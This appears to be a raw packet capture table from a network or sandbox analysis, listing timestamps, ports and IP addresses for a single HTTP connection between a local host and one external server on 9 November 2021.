Nov 9, 2021 22:21:12.775048971 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.775091887 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.775119066 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.775130987 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.775171995 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.775171995 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.775243998 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.775259972 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.775284052 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.775317907 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.775325060 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.775335073 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.775367975 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.775408030 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.775414944 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.775445938 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.775485039 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.775522947 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.775551081 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.775563002 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.775584936 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.775604010 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.775640965 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.775679111 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.775686979 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.775717974 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.775719881 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.775755882 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.775794029 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.775820971 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.775832891 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.775871992 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.775880098 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.775912046 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.775960922 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.776010990 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.776014090 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.776067972 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.776115894 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.776146889 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.776173115 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.776222944 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.776230097 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.776283026 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.776331902 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.776359081 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.776379108 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.776427984 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.776437044 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.776477098 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.776535988 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.776565075 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.776582956 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.776621103 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.776632071 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.776659966 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.776700020 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.776726961 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.776737928 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.776776075 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.776784897 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.776815891 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.776889086 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.776916981 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.776926994 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.776968956 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.776978970 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.777008057 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.777046919 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:12.777076006 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:12.780829906 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.077239990 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077275991 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077289104 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077305079 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077318907 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077332020 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077356100 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.077373981 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077395916 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077413082 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077425957 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.077431917 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077450037 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077450991 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.077469110 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077481985 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.077486038 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077505112 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077522039 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077531099 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.077545881 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077558994 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.077564955 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077581882 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077600002 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077606916 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.077619076 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077631950 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.077636003 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077655077 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077675104 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077686071 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.077692986 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077711105 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077725887 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077739000 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077755928 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077766895 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.077775002 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077778101 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.077784061 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.077795029 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077805996 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.077811956 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077830076 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077845097 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.077847004 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077863932 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077872992 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.077882051 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077899933 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077941895 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077955008 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077959061 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077969074 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077971935 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077975988 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077986002 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.077991962 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.078000069 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.078001022 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.078013897 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.078018904 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.078032970 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.078056097 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.078336000 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.080879927 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.080899000 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.081255913 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.378087997 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.378146887 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.378187895 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.378211021 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.378246069 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.378297091 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.378308058 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.378338099 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.378376007 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.378405094 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.378416061 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.378458023 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.378472090 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.378499031 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.378539085 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.378563881 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.378582001 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.378622055 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.378660917 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.378693104 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.378704071 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.378724098 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.378727913 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.378770113 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.378772974 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.378808975 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.378849030 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.378854990 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.378887892 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.378926992 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.378957987 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.378966093 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.379009008 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.379017115 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.379062891 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.379101992 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.379127026 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.379141092 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.379200935 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.379213095 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.379219055 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.379261971 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.379266977 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.379302979 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.379342079 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.379354000 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.379380941 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.379420042 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.379432917 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.379462957 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.379503012 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.379515886 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.379544973 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.379585028 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.379592896 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.379637003 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.379673958 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.379687071 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.379714966 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.379755020 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.379759073 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.379792929 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.379832983 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.379834890 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.379873037 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.379913092 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.379914045 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.379955053 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.379995108 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.380000114 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.380034924 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.380074978 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.380079985 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.380112886 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.380151987 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.380156040 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.380189896 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.380230904 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.380234957 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.380270958 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.380309105 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.380316019 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.380347967 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.380387068 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.380392075 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.380424976 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.380464077 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.380465984 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.380501986 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.380541086 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.380542994 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.380580902 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.380619049 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.380620003 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.380657911 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.380697012 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.380707979 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.380734921 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.380781889 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.380783081 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.380820036 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.380865097 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.380894899 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.380935907 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.380973101 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.380975008 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381016970 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381055117 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381057024 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.381093979 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381131887 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381135941 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.381170988 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381207943 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381211996 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.381248951 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381289005 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381294012 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.381325960 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381365061 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381365061 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.381405115 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381443024 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381445885 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.381481886 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381520987 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381522894 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.381561041 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381602049 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381603956 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.381639004 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381676912 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.381679058 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381720066 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381756067 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381761074 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.381794930 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381834030 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381834984 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.381872892 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381911993 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.381913900 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381952047 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381990910 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.381992102 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.382030964 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.382069111 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.382072926 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.382108927 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.382148027 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.382148981 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.382188082 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.382227898 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.382241011 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.382266045 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.382270098 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.382306099 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.382306099 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.382347107 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.382354975 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.382385969 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.382397890 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.382426023 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.382432938 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.382466078 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.382468939 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.382504940 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.382525921 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.382545948 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.382548094 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.382584095 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.382591009 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.382622957 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.382626057 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.382663012 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.382667065 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.382702112 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.382707119 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.382740974 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.382745028 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.382780075 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.382782936 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.382818937 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.382822990 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.382858992 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.382863045 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.382896900 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.382901907 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.382936954 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.382939100 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.382986069 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.382987022 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.383029938 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.386600018 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.683162928 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.683219910 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.683258057 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.683295965 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:13.683362961 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:13.683424950 CET	49813	80	192.168.2.4	47.74.84.15
